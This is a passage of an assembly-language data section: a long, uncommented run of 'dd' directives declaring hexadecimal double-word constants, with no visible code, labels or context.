0BEAFCFB1h, 4EA60A8Ch dd 4C39B910h, 546182CCh, 466A1F8Ch, 0CBB7FC8h, 62BDFD52h dd 0BE7B2210h, 0BE253D3Dh, 86661498h, 76512298h, 0B51C07A6h dd 12F30BBBh, 4CC8D015h, 6F0093B1h, 0FC9B4A87h, 7CA92D0Dh dd 92C20582h, 419ACB85h, 0FEB1D388h, 0FCA6CD4Ah, 5C660894h dd 213608h, 0FCD5ED73h, 88E08CD6h, 92D40C00h, 0FA1A81B8h dd 0E45E0EFDh, 0DB637F17h, 0D8E0B2BCh, 6C620BEBh, 40CEA018h dd 0CF43E90h, 81B7644Dh, 2F063359h, 99E6F2BCh, 0D67D0011h dd 0A31A9354h, 12399FB4h, 5891F40Bh, 5425D400h, 0AC6C63h dd 42023D69h, 0D87B273Ch, 0A9B86A54h, 0BE00B572h, 0F8293F9Fh dd 63BD2C80h, 0E4F0B009h, 414D78C0h, 8E3FC40Ah, 0AE8888EEh dd 0FC2C60D0h, 5E21CBBBh, 529168h, 0ABD54DDAh, 1D7B144Ch dd 0C03368B5h, 862920FAh, 0B03881A4h, 0F7800719h, 46FF9217h dd 79A1B3DCh, 0AB540059h, 48C193FBh, 0C674DAE8h, 0A221A460h dd 0B75475h, 7F623FFDh, 17AD2015h, 9881B928h, 57E5460Ah dd 1C1DA47Bh, 476FD047h, 181443B0h, 3852C1Dh, 0A15B00F5h dd 0CEE1987Dh, 0A60071E4h, 76D12EBCh, 0F1586Dh, 0CDE61074h dd 775BFB7Eh, 0DE0CC00h, 0B07DF51Dh, 321C1E69h, 0FCD1C327h dd 11B0DD2Ch, 0D383106h, 16BD45h, 39CD1E5Eh, 2DA2D38h dd 0DE4B3227h, 209EBBA1h, 44C61810h, 0E4F81DDh, 80D04B6Fh dd 83592F30h, 7BE2441h, 66CD5B99h, 2175469Fh, 0EBB89800h dd 0F390BA31h, 5A7C013Eh, 4F6E8FC4h, 302448FDh, 24468308h dd 0CAD3C2D6h, 0EBB78100h, 0D1ED00ACh, 133D8384h, 0E13DACEh dd 500AFD3h, 0CCE988DEh, 0B7C70034h, 3DB39043h, 27EC281Ah dd 12D04F00h, 152F0A52h, 262B075Dh, 462A05BDh, 6B1F219Fh dd 0CE000AEAh, 0BD38BA6Eh, 0B87C00DCh, 43582A47h, 0EB02DB54h dd 0E527334Fh, 80609F51h, 912A17C6h, 831D1031h, 0FD5E2BA1h dd 6D8AE69Dh, 5103ECE0h, 34DA23Eh, 29760958h, 10E64F4Ah dd 0E6888716h, 2BE97507h, 851EC545h, 0E215E18h, 51DD0011h dd 0BC9C5395h, 6D4872DEh, 0C1670C20h, 0A538E956h, 604EE48Ch dd 18B59C85h, 18ABA1EEh, 6A2AAC51h, 6F7A8048h, 4C586C1Eh dd 518E705h, 6033F1C0h, 0A1260E24h, 0FB80F412h, 5E803C32h dd 0A4C77500h, 60185DD6h, 6F74A502h, 8634FA8h, 510BF036h dd 0C9D70041h, 7783DCB4h, 0D87B606Dh, 52C5D4A0h, 0CD56F300h dd 0B031FF61h, 819F4E7Eh, 0EC44B530h, 0FD128DF4h, 18081F16h dd 0AF9C01Dh, 95461558h, 70D4E610h, 0EF0A7100h, 421F4D80h dd 372707D6h, 218FB34Ah, 83451654h, 0C45DD2D0h, 4F901E46h dd 17A4E7h, 0F5EB1298h, 0A150EFCBh, 0E001329Ch, 914A3DD6h dd 0B42055D4h, 8A608848h, 98CC6C2Ah, 2A863700h, 6AE899B2h dd 0A8E148C3h, 2C30C39h, 24F8EB9Bh, 8E0E1CCEh, 20228352h dd 0A34EDA44h, 82FF3A33h, 970041EBh, 384B24CAh, 0DF7F5200h dd 117D07C6h, 46020031h, 0A0C93261h, 0D9C0437Ah, 87B19694h dd 14C407B2h, 0A0991F3Bh, 0E0F14A42h, 9E280390h, 8858B8EAh dd 5774078Bh, 8282693Bh, 512C6133h, 83E46049h, 0B62410F2h dd 2174CC9Eh, 0D10B008Dh, 0C4935AF5h, 41FA76ABh, 90F04C92h dd 2484306h, 31A56Eh, 5FA63ED6h, 63C4DD3Fh, 0BD889E0Fh dd 0AC0CE3E3h, 80D0D4F2h, 5FE14Fh, 47D67CA1h, 868842E5h dd 0AFF7F80Ch, 420100Eh, 38BE5FD8h, 11A88CB8h, 0A5D178Ch dd 1C3A1554h, 3DE884h, 710A952Ch, 0D29400EAh, 0B516CB0Eh dd 41C05B29h, 3F2FFEC3h, 656A00C4h, 0FFEA5813h, 0F80C0EEBh dd 29422212h, 847615h, 0BD58E303h, 1BE48539h, 0B888F60Fh dd 0C0498074h, 4CCA98DEh, 0D2029BE5h, 0DD1E42FBh, 0C24FC440h dd 557CBBB0h, 22960D14h, 89560360h, 90BB6104h, 1D6074Ch dd 9DD946Ch, 21E24171h, 0E457E500h, 5114E3AAh, 0DCDC60A0h dd 24478342h, 8A001C2Eh, 853EEBB6h, 48864FC3h, 42808CC5h dd 0B86D3C04h, 224E3D00h, 136CDFCBh, 7216127Dh, 23102F6Eh dd 0F8400075h, 3721F744h, 5C7D3C07h, 0A1C95066h, 0C590C354h dd 73C2FC48h, 81D603A9h, 5FC4F803h, 0DB359900h, 0C2857872h dd 46E40004h, 5DC8B184h, 0C31828CBh, 50283D1Fh, 43A60995h dd 0DC84B88Bh, 0DC13609Ah, 116D10A8h, 8259C82Ch, 92DD1D61h dd 3E056A60h, 8BEA50C0h, 7F55340h, 34EE6488h, 2A80D05Dh dd 24189C59h, 32C939FDh, 0CF6412A7h, 383049E7h, 9F886497h dd 7D306027h, 90907A6h, 865AFDB5h, 3A14534h, 30247BA7h dd 100A7633h, 9C28CEB6h, 1AD6C380h, 16FDFC07h, 22518C88h dd 0D8B00290h, 9E81EB7Dh, 0B4884818h, 0C3EB07ACh, 50885815h dd 0A2FB34C9h, 2186A4Ch, 4E9DCAE9h, 0AB64C1A6h, 5BE00E15h dd 0EFC6C20h, 0AA15F351h, 14C82675h, 0D870D0h, 4DF4DA65h dd 70AC22B0h, 60290F6h, 67BCC741h, 0E700E85Fh, 9732CCBFh dd 0D0C478h, 0AD4065FFh, 4FF7D6D1h, 42129D7Ch, 0EC2046F0h dd 0DDE7ABh, 0B0760811h, 0E8BB3798h, 0A070F600h, 571D861h dd 1ABB0C9h, 0CBF0D3D6h, 625AB0D2h, 8ACF00BCh, 0E2F3177Dh dd 736F0062h, 0C57B97D5h, 72031930h, 0E6661604h, 0A7A4A1B1h dd 504241E0h, 6EC840h, 0CAE0E5B6h, 38032DF4h, 43F248h dd 2F33BF78h, 0D8D750h, 149B621h, 10BCF415h, 40971905h dd 0B800CBC4h, 0B8264DCFh, 83CA0146h, 9872238Dh, 9DE0C478h dd 7F4EAB00h, 0A6EFF60Ch, 4D863D7Eh, 805AEA9Bh, 7DFDDBE0h dd 43E85BF2h, 37E6F503h, 90023624h, 93C24Ah, 0A6EA779Ch dd 120BCE7Ch, 90491800h, 34F4540h, 8ACB006Eh, 0DADEC85Dh dd 1A0060BCh, 0B9B8FB95h, 0C6CC61h, 6DDF17F0h, 0CD747F3Ah dd 58FD3B00h, 7C4A3FDBh, 464F1DC9h, 0D480C786h, 0ABF881D8h dd 88EAE745h, 164AD840h, 70074EE2h, 0D89D3CCEh, 90F269FFh dd 0C9C4D4Ch, 497BCCF9h, 8E01F4C0h, 0DA700B6Eh, 0C0407DA4h dd 2530D63h, 0E0186F35h, 6009048h, 0EF9221h, 0E975ED33h dd 57FD8AB9h, 0B1950B0Dh dd 6DE48099h, 0BEC0C00Dh, 0CF15FC3Ch, 9B5B7A00h, 6A8DE8A2h dd 0A6670093h, 1A2B99F1h, 5401987Dh, 6B641D03h, 2FF41325h dd 0ED77D3Ah, 2394DCCEh, 88FE18A4h, 0E700AAE0h, 64BEC833h dd 0F74885Bh, 0DAB0DCA4h, 0FBE002CEh, 0A517AB90h, 78ACFCF1h dd 202D2324h, 9D0610A4h, 2413062h, 7F746E15h, 404068B4h dd 0E501BCF0h, 8D1A0EBh, 32201ACFh, 0CA6C0090h, 0C664B0F5h dd 0F904EFA6h, 0F441FE5Bh, 0C82E0080h, 6C010006h, 472919DBh dd 0D7138669h, 3700E848h, 79F6A0A3h, 3D409250h, 0B480E58Ah dd 0ED036CBCh, 0C13DC3B0h, 80A4BE10h, 0DE5273FCh, 77237434h dd 0B4300E8h, 404D0D8Dh, 5A78CE30h, 77564A07h, 1B20292Ch dd 0CE12E2DBh, 9424EC40h, 30F8B06Bh, 50EE0100h, 39C8A963h dd 0F5AA00FDh, 64DC5DE8h, 469086E4h, 3A2428E8h, 5B84203Bh dd 0E4C2F229h, 0E6B530A0h, 816DBA08h, 4DE86E3Dh, 0DD07E700h dd 0E85677h, 0F2982F3Bh, 64AF7F5Eh, 4C5F8B26h, 4A118CA4h dd 555C4500h, 0A88909DAh, 0D8424700h, 0F9B96916h, 0EF77133Dh dd 0F0B44027h, 0C2508FA6h, 433B790Ch, 0B20409C3h, 0C100918h dd 0CC0EB785h, 1DE6FCA0h, 5B180FB6h, 99C14E3Fh, 0D5E207B3h dd 618AC0A2h, 6327A83Dh, 0AFC0214h, 1CED1559h, 0D347900h dd 0B4636A61h, 2C19505Ah, 0F32E0F72h, 9E029C2h, 39CA64B8h dd 0DDD5941Bh, 9DA4A8C0h, 0DBDA27BCh, 4F06800h, 4258950Eh dd 883D2AC2h, 61F66800h, 0C7582A22h, 857C3C5Ch, 79D6D24h dd 93CFBA2Fh, 2028F1F4h, 714EAD0h, 0E020DAADh, 865EA1C9h dd 0AD760215h, 0DC1480E8h, 8C88C353h, 1A96A894h, 6CAACC01h dd 7C304565h, 0B7F0A09h, 9DE0406Fh, 16E7C026h, 0FEB86854h dd 0F3DCCC00h, 0BACE9549h, 0D2250CE5h, 4D51A330h, 74B5B600h dd 0C9FA664h, 63C1007Dh, 0C759E1C8h, 60B053C5h, 6604D0A1h dd 0AF801E0h, 2A0D157Dh, 0FDA12828h, 18AAF410h, 9267B900h dd 0CAC4663Ch, 0D7E28032h, 0F8F7C876h, 0EF005E3Fh, 2F151D9Dh dd 0F1D178h, 3404B257h, 0D3E6CCEDh, 946D7729h, 0D31873D1h dd 6EFB900h, 27AE66Bh, 13C61CB5h, 0B47C4B6Dh, 8D00C88h dd 0D91E4ED5h, 6CA61E82h, 2A64E46Dh, 0AC416Fh, 0ADD18F1Bh dd 72B4C2E8h, 47982160h, 17B9FE16h, 3A27DA20h, 0F3C2374h dd 0A781B168h, 80502D97h, 0E8DED748h, 75BE717h, 62C340F7h dd 0A8556646h, 0A63DA203h, 74DFB51h, 0D77DF510h, 16A3E37Fh dd 0D90460F7h, 0C50057E6h, 0B30D9C69h, 0FBE9755h, 5ECEFA29h dd 3626FDh, 0F3F1C446h, 0BF00D714h, 0A2A594ABh, 0D34249h dd 0B674936Fh, 951D028Ah, 9D39C400h, 31309112h, 0D8520096h dd 0B03B24C2h, 751CFE11h, 34802E95h, 0EB058346h, 63ED001Bh dd 85EC4F77h, 0D774D371h, 0FFCA4050h, 0BEB0270Eh, 6411C043h dd 0C517B2h, 304D6D41h, 1440F2BAh, 39628F06h, 43088E1Bh dd 6704FFB0h, 6AA415D1h, 381F8EECh, 0BD077BB3h, 41108972h dd 7225F2D4h, 0B27DB9h, 8F510635h, 7C7DEA6Fh, 1B64A67Bh dd 3C21E629h, 0E9A31134h, 8B07C410h, 88238A80h, 1C40E18Ch dd 0D2EC44A7h, 7E518865h, 0F8841404h, 4AEF7B44h, 42085096h dd 438A842Ch, 143F0A1Eh, 946FBD08h, 0CD112836h, 87321F4h dd 1A9422B3h, 6B920814h, 78F71419h, 281AEC11h, 0D03148Eh dd 0CF2FE270h, 6B5AF05Ch, 58E60050h, 0D68A28BCh, 7A3F78F0h dd 0C6321E53h, 0C9777F80h, 2E4E38EAh, 0B10EBAh, 0AE7C85CEh dd 0ED002B6Eh, 0FE260BD1h, 3E948DD8h, 0BC001CF3h, 85CC3775h dd 3F00C304h, 8762A6EEh, 6B5E16h, 2FEB8FA7h, 0DE571E0h dd 0A6002372h, 0EFA28642h, 77AA0F1h, 68ACF3E6h, 0A301703Eh dd 521D810Fh, 57D87823h, 0E1E011h, 2054D858h, 0DB89766h dd 0B7F28C00h, 0C74042F7h, 0B462001Dh, 0B5F9838Bh, 3200BDF6h dd 43A87744h, 0E0AD6A4h, 11CFF813h, 30011472h, 70401C00h dd 0A8B9E1E8h, 0C792EB06h, 5FA4817h, 0DA3DCE72h, 6DC580B6h dd 3A029AA2h, 810D3193h, 49FC57A4h, 0EFC1DA1Eh, 855DEE6h dd 0EB57EC0h, 3E4E7B2Dh, 0DDDF0180h, 89127697h, 680F1E59h dd 0ADA78714h, 53BE80E9h, 4D23486h, 0EBCA9B48h, 0DEFAC004h dd 0EA1759C4h, 9800DDA0h, 22AF31A4h, 76027E38h, 0FA5B041h dd 72F2144Ch, 0D3CF5580h, 0AC0E96F3h, 0A01BB976h, 0FC3D2AB6h dd 8FB4A00Fh, 0E33E0001h, 22E5F5C9h, 2A057A83h, 66139ACDh dd 45C02087h, 0AB107EBh, 3A7DB35Bh, 0FDE3008Fh, 0B9FBBCCBh dd 0C3CCD8C0h, 0E764F5h, 18760752h, 294E48C5h, 23D7A903h dd 0C0E9B2D2h, 2B0B66h, 15030F76h, 73C531E0h, 980320FCh dd 3BBE9A7Ah, 6E7FB86Dh, 0B7F028A6h, 5A3900D3h, 0B6657944h dd 3BF41B8Eh, 19D03800h, 0EA76500Ah, 5BC20021h, 0C409AF05h dd 7400BDEFh, 548610A2h, 0CCAAB71h, 0CD62F8B7h, 0BD00D692h dd 0CCFD59AFh, 9A0F88h, 0A5C93B4h, 273F6A26h, 0F5106100h dd 146686EEh, 75BA01ECh, 727AC9C5h, 0F7FCD0D2h, 0F224B800h dd 87CC6230h, 0D76400CDh, 0E5DAEBA7h, 0BC004DA2h, 2633ED5Ah dd 0B1057Bh, 76A47A8Dh, 0FAA8BBF2h, 4AD69900h, 0ABC1732Ah dd 0E0420719h, 1193A64Eh, 80F98698h, 29D3CA28h, 0ECD53433h dd 6BF71211h, 145400A1h, 0DB61013Ah, 51FCAC50h, 6606BB01h dd 116298A9h, 0E31BFCh, 64AB5949h, 0E667FB3Dh, 22E9638h dd 0AFD55812h, 0DF72E07Dh, 0C0BE005Eh, 40D77161h, 401E2AAh dd 0AC8E177Fh, 92DC07ECh, 0CF7D0F5Fh, 8434013Fh, 1569EF07h dd 0E444E08Bh, 4500A448h, 27B46511h, 1E62353Ch, 40E5AC21h dd 94E8496Fh, 9C3BA672h, 271600C2h, 2A83A17Eh, 78FC000Ah dd 7C56B3C8h, 0F800694Fh, 6715EEFAh, 4CDE7F9Bh, 0FD00A1BEh dd 0D354067Ah, 0D5001D2Bh, 520366F8h, 786EC7Ch, 6D837289h dd 0B6E2F0B9h, 0A87910D1h, 82467101h, 0D938AD4Ah, 2414F4h dd 9B979364h, 0FF2F61B1h, 92B81700h, 7FECC648h, 0A36B00D6h dd 77E68B33h, 2F070AD3h, 0C174379h, 7A949AA0h, 0D4F200E8h dd 0DE7336ACh, 303B2C8Ah, 818481D3h, 62887C49h, 5C196D30h dd 0FE009193h, 780AF061h, 0F74881EAh, 870600A8h, 3D5610AAh dd 0F07400E3h, 5CEB576Dh, 7E00BCFEh, 0CABA48F3h, 0A1EC46Eh dd 0B6DE3D9Bh, 0A0450CFEh, 2E00AB56h, 1243A7D1h, 0F19DCB7h dd 0FE3A1AD0h, 697A8C40h, 3F0013E6h, 6559C8F5h, 554AFAEh dd 50AAF77Ch, 6BD0C3E4h, 1A0EF5E0h, 6F007972h, 0A983B047h dd 1C744D03h, 40A65CCCh, 0DDC38D0Ah, 0C0907378h, 8F7F7B00h dd 319C3CC6h, 0F8E990ADh, 34F100C7h, 0B4FD2188h, 0C903DE14h dd 0F516B1A9h, 0BCA4D88Ah, 93EE00E9h, 3D99627Dh, 0A8004B1Ah dd 1DD677B2h, 3CAA2637h, 0B854E47Fh, 159A04C2h, 80C4C150h dd 1B953CAEh, 3891D700h, 0CAD44F9Dh, 7E578A0h, 2855A51h dd 316C7077h, 0B203F7B4h, 9F40D4Dh, 0FCBB095h, 0AD3200F0h dd 21711A39h, 1203D617h, 6C9774C6h, 0B6F5805Fh, 45729Ch dd 0B1BC9965h, 7F3CAAC8h, 0A7B77000h, 39C2194Eh, 73F3006Eh dd 0A293905Ah, 770120C3h, 1ED12381h, 0B9C81968h, 0E827004Dh dd 9DABB9Ch, 0BC3B3F76h, 0F83D8025h, 0D8C7D671h, 9FFB0007h dd 0B77B5034h, 1FFC857Ah, 750AA300h, 0B36BE166h, 156148C3h dd 0C28D561Eh, 5EA8FAE6h, 0A042E940h, 0AD54C400h, 463257ABh dd 87DE011Ch, 8565AAB3h, 154EF4D7h, 0D60E7F12h, 9716E500h dd 79A8490h, 61A50F24h dd 8C1E50D1h, 0B105C415h, 0F35C9BC6h, 0C2DE0080h, 8597003Dh dd 0E7E99088h, 0D60FD16Ah, 0EE063EA0h, 71BC003Bh, 74D96323h dd 0B47700AFh, 6B18968Fh, 24003D3Ah, 978D82B7h, 0F33800Eh dd 6058AB4Dh, 3AC8B8E0h, 0C50792E3h, 3EF41554h, 839F4DB0h dd 57AF008Eh, 0F549B17Ch, 18F6DEFBh, 216D2500h, 1C36E834h dd 0F915502Ah, 23F0179Ch, 0AE6000F1h, 6034E542h, 4D500100h dd 0EABE9228h, 4FF04CC4h, 0CBC7EB00h, 42A3692Dh, 63E0021Fh dd 6068E38Fh, 216CD4ACh, 893701DFh, 8D366212h, 774EC8B7h dd 0E42EFD03h, 0C07F69ADh, 0EE188A73h, 80E600A2h, 0E0C0D18Bh dd 68007876h, 8763A354h, 0C82956Ch, 2F93C84Bh, 0AF039B32h dd 815F9446h, 0BA20002Ah, 5D4C8D27h, 5607A977h, 3BF89706h dd 0F7C9A07Fh, 0ABE2C5h, 0F964EBCEh, 42985855h, 306DFCF9h dd 0FB00E090h, 97812C23h, 1CBB7B72h, 0C084BEA1h, 0A28EB7AAh dd 5006C95h, 1F6EA811h, 0FB4DE51h, 8AF83C6h, 8A80B76Eh dd 0C707346Ch, 0F8FDFCA0h, 0C872A91Fh, 0E83ED9C0h, 70D85A9Ah dd 21530037h, 9DECEFA1h, 2A00C239h, 628A945h, 0B096111h dd 0C8CEFACFh, 0B7CC5900h, 0FB00750Dh, 0CDEE1073h, 34A076h dd 0ACB49926h, 792BDCEFh, 0FCB8D807h, 0C460887Bh, 0F516515h dd 24F2FAB7h, 3C483660h, 91000CDFh, 0FCBA8EFFh, 379BE0h dd 0CC21203Fh, 0C06C82A3h, 1D5F4Ch, 5AE19E1Bh, 1FF487C8h dd 806130BDh, 6A56096Ch, 65003C8Ah, 8515502Ch, 1D72259Ch dd 0C05C488Eh, 61DC79C8h, 28009A94h, 0F470300Dh, 7EC2B7h dd 1205DFE7h, 18EB31CCh, 78FC69E0h, 0B5BE9D00h, 3CFC082Ah dd 49DC0012h, 973AFB01h, 0A7039275h, 62F32E77h, 3C5EE8D2h dd 246000DDh, 7C96DB31h, 8F018D52h, 8E74EECDh, 0AA304AE5h dd 3DB61FE9h, 153A4006h, 0E2337C4Eh, 2D491D00h, 0A11CF3C4h dd 0FB0B055Ch, 80186377h, 9505C28Ch, 276D724h, 1FBD3E1Ch dd 0D1800C51h, 0ED3AA2F8h, 6EB31EEAh, 5F003952h, 0AE0BB6A7h dd 65000E10h, 87B9BA42h, 4C8DF7C7h, 0DE003459h, 9BC3B54h dd 9E0FB366h, 61E8D8ABh, 45FDBFB2h, 7E93DFh, 0FA715990h dd 0AC55F47Bh, 67F96309h, 46D8804Fh, 0DB12E08h, 0CDB70AE3h dd 1572D090h, 0ED408F78h, 43E0059h, 80717D4Fh, 0E600D060h dd 5ACD8D5Fh, 138E73h, 427990DFh, 16EB75B2h, 0F420D100h dd 892BD2E4h, 984F0044h, 0CA64459Bh, 460EB661h, 0C320BD6Eh dd 0C8CBA934h, 7EBA078h, 79266B5h, 8B57D096h, 0FA0026BFh dd 3D7BBD28h, 5CFC050Ch, 613F5B35h, 0AD9F6780h, 0AB682EAFh dd 6A19DD00h, 36A9B118h, 64A10037h, 0DC4689DFh, 97E4966Eh dd 659C7C50h, 1CCA7300h, 0D22D53ADh, 0EF9000D1h, 39C7BA1Fh dd 0A7008DD6h, 166920ECh, 3C6535h, 0BF71E580h, 0A47BDC22h dd 731E0899h, 56D2D082h, 5D0602Fh, 0DC7F0109h, 4DFE329Bh dd 818047FDh, 0E01B02A4h, 22499786h, 76990408h, 289072A3h dd 0B89A38h, 302823D2h, 0DB24FF44h, 0F15E3B00h, 0DC58C8DEh dd 87070179h, 0A02CACDDh, 4EBDB4Ch, 7A98EAC3h, 96003FF4h dd 0B9058699h, 0EB2D25Eh, 0FAB4338Ch, 0B519095Dh, 0E3131C00h dd 0AC006ED3h, 3DF7B9D6h, 3F621FD7h, 1102245Ch, 74180533h dd 39BD2D00h, 1C94FE6Fh, 808734BCh, 3AE0B6CAh, 831E3852h dd 4040DE90h, 7E4162A8h, 56D10151h, 12C4B967h, 0B2F98B8Bh dd 0ACF38094h, 85D54Ah, 0AE398CA3h, 4CC019CEh, 0A0A12E00h dd 0AB135DDCh, 41D4A87Dh, 0BBD0A954h, 68A5C840h, 124AEE3Ch dd 24EEE2h, 4EDA3EA0h, 0A303E982h, 0B6C26190h, 97CFC055h dd 0D14900D8h, 13E37FB3h, 7928BEF9h, 4110D42Ah, 0A848284Fh dd 82AC1C00h, 16DF8121h, 3D132300h, 0FE779F31h, 357E00DDh dd 68A13BE6h, 2800A56Fh, 0B4E050D4h, 921A4Bh, 0F644E72Ah dd 9A3BEA58h, 821D8AFAh, 6B40BA68h, 9C235E96h, 8DE600F9h dd 0BEB21CBBh, 44092639h, 80C1526Ah, 7CFB5A30h, 18D64869h dd 7DE77500h, 0FF7CF12h, 0D0027E18h, 1CBFAB18h, 0C03A8524h dd 0E2A2C168h, 7F002286h, 86B1FEEh, 1FCF3816h, 0C1B4A3FFh dd 0BDCC4445h, 0CB03055h, 8C49A00h, 288E361Bh, 0D4EC0FB2h dd 4840DA35h, 1175B1FEh, 0DCA16A03h, 8A20B509h, 9DC48051h dd 34C98h, 78DEFC5Fh, 2483D88h, 0AAD0F000h, 0D1534FFDh dd 0FEDA00EBh, 676F0A56h, 0C83E3966h, 5526804Eh, 6540D890h dd 0A8A95CAFh, 0C40C2Ah, 0C549C6BDh, 9A0DB2C8h, 801C2601h dd 483AA1B0h, 0E83FABD0h, 0C6AD1FF4h, 47B34015h, 0CDE49ADEh dd 8254A802h, 60414377h, 686C05DCh, 9C5B058h, 55006BADh dd 229E12ABh, 176D5F00h, 59A31910h, 309200AAh, 0A7291FD9h dd 57092BBBh, 80F7CEA4h, 6583E3DCh, 0A0DD00BDh, 0E5FA52A6h dd 0BE26126Ah, 4A00901Eh, 0C670DF02h, 0FD19805Dh, 14917500h dd 105FDE74h, 0ECF650E6h, 6C751Ah, 0A3C28697h, 1815E7B7h dd 0A8097900h, 69B5379Ch, 16FD2ECBh, 1D95045Ch, 1ABC80D3h dd 0D4778029h, 47BE8C00h, 0BFB55839h, 63D103A1h, 36EF3526h dd 6EEADD8h, 7638C200h, 0EBF0EC05h, 0BE460392h, 85AEE515h dd 30C8DBF1h, 5051D6FFh, 0A7E26094h, 7C3694A0h, 3AC7CF1Dh dd 0FBFCD180h, 1378CDB6h, 21741C96h, 0F0E7E6ECh, 8D014FFEh dd 2F3C8833h, 25C0466Fh, 5ABB00B5h, 4D545387h, 6770B4B0h dd 86D63300h, 5EAC5295h, 14E03E99h, 50638A83h, 73A8EC51h dd 4F006065h, 0E5B7C70Eh, 3A6D909h, 0E92F8C38h, 14A99519h dd 0F5E85178h, 0C36862C0h, 74E8A96h, 81B2B311h, 0C6C1013Ah dd 0EF98D76Dh, 0B73C1F66h, 0E7BD80F7h, 420287A8h, 0C3550986h dd 1D80A5FDh, 0FF0E923Ah, 0F843341Eh, 77E4A200h, 833DC0h dd 88B06A26h, 0B8AAA950h, 565AF004h, 0C8C0DC95h, 0ACF125h dd 0E9659FD9h, 6499A846h, 0DFEA507h, 7880EB60h, 24877A52h dd 5E04A48h, 83F75022h, 16A0658Ch, 0F200E2AFh, 0D546C135h dd 90743Bh, 0BACB062Dh, 61243E53h, 0C6D85100h, 0FE20A968h dd 0FE6D795Ah, 0C07609h, 0BD4B972Eh, 5D18EDFh, 98A0C677h dd 3405A335h, 661A76EBh, 0D07FD980h, 1E1B09EAh, 7CA08472h dd 4E2632F3h, 8F6C9207h, 166041D8h, 0EE7EAB6Bh, 1FC97EB6h dd 0C9DFC657h, 0D80246C5h, 48C284D5h, 2ACC9C48h, 7AFBDB00h dd 0FAC811C5h, 56C4001Dh, 4DD8A793h, 32006DA8h, 2796D789h dd 2C3C2A3Bh, 787B20h, 51AFF0E3h, 0E87803FAh, 7000A57Ah dd 0FB145713h, 8CD2A2h, 0CA6F521h, 0F6A1CC42h, 7156E097h dd 0B5DC005Bh, 4B5AE2CAh, 0EA186713h, 0F258851Ch, 882B0025h dd 2430E664h, 7658FB98h, 0F1430087h, 0ABC86C02h, 293A3DDBh dd 0B5384BBFh, 2F9FE180h, 0C81566Eh, 0D9944100h, 1EC4C33h dd 0FD790FE4h, 74A089D5h, 0B6C64EFBh, 9C7B64F6h, 3BCDA400h dd 6C58A3C7h, 0B0780013h, 0AEB7E9D0h, 53E6F151h, 55C6EF00h dd 358701Dh, 0C8D9015Eh, 46B44DE9h, 0DBA47018h, 5CA6413Dh dd 8211170Ch, 90209C40h, 0CC2EC3h, 9CF1806Bh, 6E714B35h dd 0A00029F8h, 7319ACD9h, 0C4661B7Eh, 0C76909D4h, 0A66FA0A4h dd 64005AE1h, 2C90A07Bh, 204BD72h, 9E77EC6Eh, 1CE8DA83h dd 0B40E2833h, 40257BF8h, 8AF553B9h, 2FCA007Fh, 45A6177h dd 872E511Fh, 0D7134E5Fh, 27316D00h, 0FABC02h, 0C30A6418h dd 80EE444Bh, 1B9039h, 266D1CF9h, 7B52B3Ah, 0DBF56EA9h dd 48A08BDCh, 0B123AA31h dd 6F0B0900h, 1EF9DE8Eh, 0C4A30334h, 456790F0h, 1BAE9EF0h dd 8096DA3Eh, 57D59B59h, 7973DBh, 950AB3C0h, 31FE30A5h dd 56E26B07h, 5D904A7Ah, 90BBBh, 842140B9h, 0D8BFA7FCh dd 89537200h, 39A9182Ch, 0CAC0030h, 61976D43h, 0E2050570h dd 0B7DC4DBDh, 944294C0h, 1CF100FAh, 442FB171h, 9000099Bh dd 5865C524h, 0D29C30h, 0C13E69E9h, 7966230Ch, 0B276F00h dd 7CF828C3h, 0C73D3EA1h, 835F1680h, 4D65A552h, 0F0143F4h dd 9F2D77DBh, 0FC40994Eh, 1CBFB241h, 85C417CFh, 1F62D8F5h dd 33DA4098h, 63AF0F32h, 0F0D5842Ch, 58919E80h, 0C0C9195Bh dd 42670E91h, 0CF46145h, 3B0081B0h, 56B3CE40h, 1C91F33h dd 5F675EFFh, 0C4F73ABBh, 0F3391BA9h, 8B38009Eh, 0B7B3A54Bh dd 4601130Ah, 0CBC20009h, 0BAE2C32Dh, 0C0DF2500h, 0E973E8B1h dd 0DB9400A4h, 0B3BCBFD0h, 2D09C167h, 1E59ECh, 0E20E2568h dd 0A3151DE9h, 11768093h, 48D7A160h, 0A20D2E00h, 988C7FC6h dd 34FD0033h, 730A6B92h, 2F1D527Bh, 62802D28h, 851AE7A6h dd 59400081h, 50B46F3Dh, 0E11CAF70h, 0A200BC60h, 19FE4973h dd 0DE9900E4h, 649CE27Eh, 0DA00C370h, 679F02D6h, 0DCD12Fh dd 9780F1E7h, 1EEDD9DBh, 787AB000h, 45DE48C6h, 41CF039Ah dd 81286307h, 53826990h, 2016AA07h, 0FEE1953Bh, 34706561h dd 84300E4Ch, 0C3635833h, 22B03F7Eh, 0EE0F4EA7h, 635394F1h dd 8064F4AFh, 3083C61h, 3F929E11h, 0BE84D04h, 0F8E9D732h dd 0D13A2262h, 0B4838030h, 1C085BBFh, 355900CFh, 73F41FADh dd 217FA44h, 0EE00B8AFh, 0EF8EC599h, 58D0B532h, 693C3000h dd 27097A3Dh, 862A00D5h, 58C1A161h, 0F30012BBh, 0D08EE30Ch dd 108263h, 0DAFC1634h, 6883ACBAh, 0CFC18800h, 0FD2F58D9h dd 922600FAh, 0E57D050Dh, 97078AB0h, 0A8DBCA07h, 5CC08170h dd 987E0169h, 61254B72h, 404ED1F1h, 0BC30F094h, 990974B8h dd 24FD5033h, 7EFA2B6h, 0EF082E3Dh, 0C7EF8E4Fh, 48580320h dd 240071C2h, 830FCB11h, 6BF888Ah, 0BCA328E9h, 0A0179D3h dd 9B8FC5CAh, 80E2D2D6h, 0D3B94E9Ch, 722107B6h, 0E0D8A58Ch dd 6498112Ch, 6EE0EB02h, 0E3C76709h, 0E02EEB8Ah, 8A446Ch dd 711E578h, 0CF37B4EFh, 0AF930500h, 0B35B7F16h, 1E55FC15h dd 54E3F8h, 4DC450Ah, 1701240Bh, 53604A6Fh, 0CE8988Dh dd 0A54003Fh, 41BDDFBFh, 2B01F89Ah, 0FC121AB1h, 78E4E9D9h dd 3442018Dh, 0EBAF0B4Bh, 2932ECA7h, 12008CF6h, 83E71728h dd 1C914CFEh, 801D9FBEh, 0F692B5A8h, 8D005EE0h, 5462A4C6h dd 0C0590D61h, 1867BE10h, 0DBFF656Eh, 0D2BA2BF8h, 0B0E2F200h dd 907C5E0Bh, 0DD470073h, 0CE4BDA84h, 2A3E4A71h, 745C99h dd 0FB7F79B9h, 0EA0343Ah, 916201D6h, 6C971800h, 5900640Fh dd 0F18152BCh, 5F92DAh, 2991126Ah, 0B6A426BAh, 3468AC01h dd 0C5E688DDh, 